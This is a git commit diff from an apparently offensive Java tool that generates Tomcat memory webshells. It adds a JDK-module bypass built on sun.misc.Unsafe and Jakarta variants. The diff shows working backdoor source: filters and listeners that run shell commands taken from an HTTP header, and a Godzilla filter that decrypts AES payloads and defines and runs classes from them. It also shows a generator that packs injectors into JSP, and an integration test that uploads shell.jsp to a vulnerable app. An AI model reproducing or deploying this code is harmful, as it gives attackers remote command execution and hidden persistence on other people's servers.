feat: support bypassJdkModule and Jakarta

This commit is contained in:
ReaJason
2024-11-29 02:02:04 +08:00
parent b6c881c5cb
commit 886d808f31
40 changed files with 1167 additions and 686 deletions
+8 -8
View File
@@ -18,19 +18,19 @@ jobs:
java-version: 8
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Test with Gradle
run: ./gradlew test
- name: Unit Test with Gradle
run: ./gradlew :generator:test --info
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --info
continue-on-error: true
- name: Merge Jacoco
run: ./gradlew jacocoTestReport
- name: Generate JaCoCo Badge
uses: cicirello/jacoco-badge-generator@v2
with:
jacoco-csv-file: generator/build/reports/jacoco/test/jacocoTestReport.csv
badges-directory: .github/badges
jacoco-csv-file: build/reports/jacoco/test/jacocoTestReport.csv
generate-coverage-badge: false
generate-branches-badge: false
generate-coverage-endpoint: true
coverage-endpoint-filename: jacoco.json
generate-summary: true
summary-filename: coverage-summary.json
- name: Upload
uses: stefanzweifel/git-auto-commit-action@v5
with:
+22 -43
View File
@@ -1,51 +1,30 @@
buildscript {
repositories {
maven {
url "https://plugins.gradle.org/m2/"
}
}
dependencies {
classpath "io.freefair.gradle:lombok-plugin:8.11"
}
plugins {
id 'java'
id 'jacoco'
}
allprojects {
apply(plugin: 'java')
apply(plugin: 'jacoco')
apply(plugin: "io.freefair.lombok")
repositories {
mavenCentral()
jacocoTestReport {
reports {
xml.required = true
csv.required = true
html.required = true
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
afterEvaluate {
executionData.from fileTree(rootDir) {
include '**/build/jacoco/*.exec'
}
}
test {
useJUnitPlatform()
finalizedBy jacocoTestReport
}
sourceDirectories = files('generator/src/main/java')
jacocoTestReport {
dependsOn test
}
dependencies {
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
testImplementation 'org.testcontainers:testcontainers:1.20.4'
testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
testImplementation platform('org.junit:junit-bom:5.11.3')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
tasks.withType(Test).tap {
configureEach {
testLogging {
events "passed", "skipped", "failed"
}
}
classDirectories.from(
fileTree('generator/build/classes/java/main') {
excludes = [
'com/reajason/javaweb/memsell/**/godzilla/**',
'com/reajason/javaweb/memsell/**/injector/**',
'com/reajason/javaweb/memsell/**/command/**',
'com/reajason/javaweb/config/**'
]
}
)
}
}
+14 -18
View File
@@ -1,29 +1,21 @@
plugins {
id "java"
id "jacoco"
id "io.freefair.lombok" version "8.11"
}
repositories {
mavenCentral()
}
group = 'com.reajason.javaweb.memsell'
version = '1.0-SNAPSHOT'
test {
dependsOn(":vul-webapp:build")
useJUnitPlatform()
finalizedBy jacocoTestReport
}
jacocoTestReport {
reports {
html.required = true
csv.required = true
}
afterEvaluate {
classDirectories.setFrom(files(classDirectories.files.collect {
fileTree(dir: it, exclude: [
'com/reajason/javaweb/memsell/**/godzilla/**',
'com/reajason/javaweb/memsell/**/injector/**',
'com/reajason/javaweb/memsell/**/command/**',
'com/reajason/javaweb/config/**'
])
}))
}
}
dependencies {
implementation 'net.bytebuddy:byte-buddy:1.15.1'
implementation 'javax.servlet:javax.servlet-api:3.0.1'
@@ -49,4 +41,8 @@ dependencies {
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
}
testImplementation platform('org.junit:junit-bom:5.11.3')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
@@ -3,6 +3,7 @@ package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import net.bytebuddy.jar.asm.Opcodes;
import java.io.IOException;
import java.nio.file.Files;
@@ -16,14 +17,14 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.FILTER;
String shellType = TomcatShell.JAKARTA_FILTER;
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("pass")
.key("key")
.pass("passFilter")
.key("keyFilter")
.headerName("User-Agent")
.headerValue("test")
.build();
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig);
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
if (generateResult != null) {
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
@@ -31,6 +32,7 @@ public class GeneratorMain {
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
System.out.println(shellConfig);
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
JspPacker jspPacker = new JspPacker();
String jspContent = new String(jspPacker.pack(generateResult));
System.out.println(jspContent);
@@ -38,9 +40,13 @@ public class GeneratorMain {
}
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) {
return generate(server, shellTool, shellType, shellConfig, Constants.DEFAULT_VERSION);
}
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
switch (server) {
case TOMCAT:
return TomcatShell.generate(shellTool, shellType, shellConfig);
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion);
case BES:
break;
case RESIN:
@@ -0,0 +1,51 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.MethodCall;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import java.lang.reflect.Field;
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
*/
public class ByPassJdkModuleInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Origin Class<?> clazz, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) boolean returnValue) {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
Object module = getModuleM.invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
returnValue = true;
} catch (Exception ignored) {
}
}
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
return builder
.defineField("isBypassModule", boolean.class, Visibility.PUBLIC, Ownership.STATIC)
.invokable(isTypeInitializer())
.intercept(MethodCall.invoke(named("byPassJdkModule")))
.defineMethod("byPassJdkModule", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.intercept(FixedValue.value(false))
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("byPassJdkModule"),
Advice.to(ByPassJdkModuleInterceptor.class)));
}
}
@@ -10,32 +10,35 @@ import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool;
import org.jetbrains.annotations.NotNull;
/**
* @author ReaJason
* @since 2024/11/23
*/
public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
public static ServletRenameVisitorWrapper INSTANCE = new ServletRenameVisitorWrapper();
@Override
public int mergeReader(int flags) {
return 0;
return flags;
}
@Override
public int mergeWriter(int flags) {
return 0;
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(
TypeDescription instrumentedType,
ClassVisitor classVisitor,
Implementation.Context implementationContext,
TypePool typePool,
FieldList<FieldDescription.InDefinedShape> fields,
MethodList<?> methods,
int writerFlags,
int readerFlags) {
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods,
int writerFlags,
int readerFlags) {
return new ClassRemapper(
classVisitor,
new Remapper() {
@@ -0,0 +1,57 @@
package com.reajason.javaweb.buddy;
import com.reajason.javaweb.config.Constants;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
import net.bytebuddy.utility.nullability.MaybeNull;
import org.jetbrains.annotations.NotNull;
/**
* @author ReaJason
*/
public class TargetJDKVersionVisitorWrapper implements AsmVisitorWrapper {
public static final TargetJDKVersionVisitorWrapper DEFAULT = new TargetJDKVersionVisitorWrapper();
private final int targetJdkVersion;
public TargetJDKVersionVisitorWrapper() {
targetJdkVersion = Constants.DEFAULT_VERSION;
}
public TargetJDKVersionVisitorWrapper(int targetJdkVersion) {
this.targetJdkVersion = targetJdkVersion;
}
@Override
public int mergeWriter(int flags) {
return flags;
}
@Override
public int mergeReader(int flags) {
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor, @NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool, @NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods, int writerFlags, int readerFlags) {
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
@Override
public void visit(int version, int modifiers, String name, @MaybeNull String signature, @MaybeNull String superClassName, @MaybeNull String[] interfaceName) {
super.visit(targetJdkVersion, modifiers, name, signature, superClassName, interfaceName);
}
};
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.config;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
* @since 2024/11/28
*/
public class Constants {
public static final int DEFAULT_VERSION = Opcodes.V1_6;
}
@@ -6,6 +6,7 @@ import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
@@ -22,4 +23,6 @@ public class ShellConfig {
private String injectorClassName = CommonUtil.generateInjectorClassName();
@Builder.Default
private String urlPattern = "/*";
}
@Builder.Default
private int targetJdkVersion = Opcodes.V1_5;
}
File diff suppressed because one or more lines are too long
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -19,6 +20,7 @@ public class CommandGenerator {
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(commandClass)
.name(commandClassName)
.visit(TargetJDKVersionVisitorWrapper.DEFAULT)
.constructor(ElementMatchers.any())
.intercept(fieldSets)
.make()) {
@@ -1,10 +1,15 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
@@ -17,6 +22,14 @@ public class GodzillaGenerator {
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
String pass, String key,
String headerName, String headerValue) {
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
}
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true);
}
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
@@ -25,13 +38,26 @@ public class GodzillaGenerator {
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(godzillaClass)
.name(godzillaClassName)
.constructor(ElementMatchers.any())
.intercept(fieldSets)
.make()) {
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
.name(godzillaClassName);
if (changeClassVersion) {
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
}
if (targetJdkVersion >= Opcodes.V9) {
builder = ByPassJdkModuleInterceptor.extend(builder);
}
if (useJakarta) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
}
@@ -1,10 +1,14 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import java.util.Objects;
@@ -19,14 +23,24 @@ public class InjectorGenerator {
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
}
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
try (DynamicType.Unloaded<?> make = new ByteBuddy()
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectClass)
.name(injectClassName)
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(shellClassName))
.make()) {
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
if (targetJdkVersion >= Opcodes.V9) {
builder = ByPassJdkModuleInterceptor.extend(builder);
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
@@ -4,8 +4,12 @@ import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.memsell.InjectorGenerator;
import com.reajason.javaweb.memsell.tomcat.command.*;
import com.reajason.javaweb.memsell.tomcat.godzilla.*;
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
import com.reajason.javaweb.memsell.tomcat.command.CommandValve;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
@@ -20,6 +24,7 @@ import java.util.Map;
* @since 2024/11/22
*/
public class TomcatShell {
public static final String JAKARTA = "Jakarta";
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
@@ -28,6 +33,7 @@ public class TomcatShell {
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String WEBSOCKET = "Websocket";
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
@@ -36,12 +42,15 @@ public class TomcatShell {
*/
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
static {
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
// tomcat 无法同时引入两个版本的包
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
}
/**
@@ -51,19 +60,20 @@ public class TomcatShell {
static {
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
@SneakyThrows
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
if (shellTool == null || shellType == null || shellConfig == null) {
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
}
Pair<Class<?>, Class<?>> classPair;
byte[] shellBytes;
boolean useJakarta = shellType.startsWith(JAKARTA);
switch (shellTool) {
case Godzilla: {
classPair = GODZILLA_SHELL_MAP.get(shellType);
@@ -73,7 +83,10 @@ public class TomcatShell {
godzillaConfig.getPass(),
godzillaConfig.getKey(),
godzillaConfig.getHeaderName(),
godzillaConfig.getHeaderValue());
godzillaConfig.getHeaderValue(),
useJakarta,
targetJdkVersion
);
break;
}
case CMD: {
@@ -93,7 +106,8 @@ public class TomcatShell {
shellConfig.getInjectorClassName(),
shellConfig.getShellClassName(),
shellBytes,
shellConfig.getUrlPattern());
shellConfig.getUrlPattern(),
targetJdkVersion);
return GenerateResult.builder()
.shellClassName(shellConfig.getShellClassName())
@@ -45,4 +45,4 @@ public class CommandFilter implements Filter {
public void destroy() {
}
}
}
@@ -1,40 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.command;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandJakartaFilter implements Filter {
public String headerName;
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getHeader(headerName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
}
@@ -1,70 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.command;
import jakarta.servlet.ServletOutputStream;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandJakartaListener implements ServletRequestListener {
public String headerName;
public CommandJakartaListener() {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getHeader(headerName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -1,120 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
/**
* @author ReaJason
*/
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
public String key;
public String pass;
public String md5;
public String headerName;
public String headerValue;
public GodzillaJakartaFilter() {
}
public GodzillaJakartaFilter(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
@SuppressWarnings("all")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -2,10 +2,15 @@ package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
@@ -29,4 +34,19 @@ class GodzillaValveTest {
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
@Test
@SneakyThrows
void generateJakarta() {
String className = "org.apache.utils.CommonJakartaValve";
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false);
Files.write(Paths.get(className + ".class"), bytes);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
@@ -1,113 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.SneakyThrows;
import okhttp3.*;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.utility.MountableFile;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.stream.Stream;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class TomcatGodzillaIntegrationTest {
OkHttpClient client = new OkHttpClient();
@TestFactory
Stream<DynamicTest> testContainerDeployments() {
return Stream.of(
createCustomContainerTest("tomcat:8-jre8"),
createCustomContainerTest("tomcat:9-jre8")
);
}
@SuppressWarnings("all")
private DynamicTest createCustomContainerTest(String imageName) {
Path warPath = Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath();
return DynamicTest.dynamicTest("Test " + imageName, () -> {
try (GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(MountableFile.forHostPath(warPath), "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080)) {
container.start();
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("pass123").key("key123")
.headerName("User-Agent").headerValue("hello_integration_test")
.build();
String jspContent = generateGodzillaFilterJsp(shellConfig);
String filename = "shell.jsp";
uploadJspFileToServer(url + "/upload", filename, jspContent);
verifyContainerResponse(url + "/" + filename);
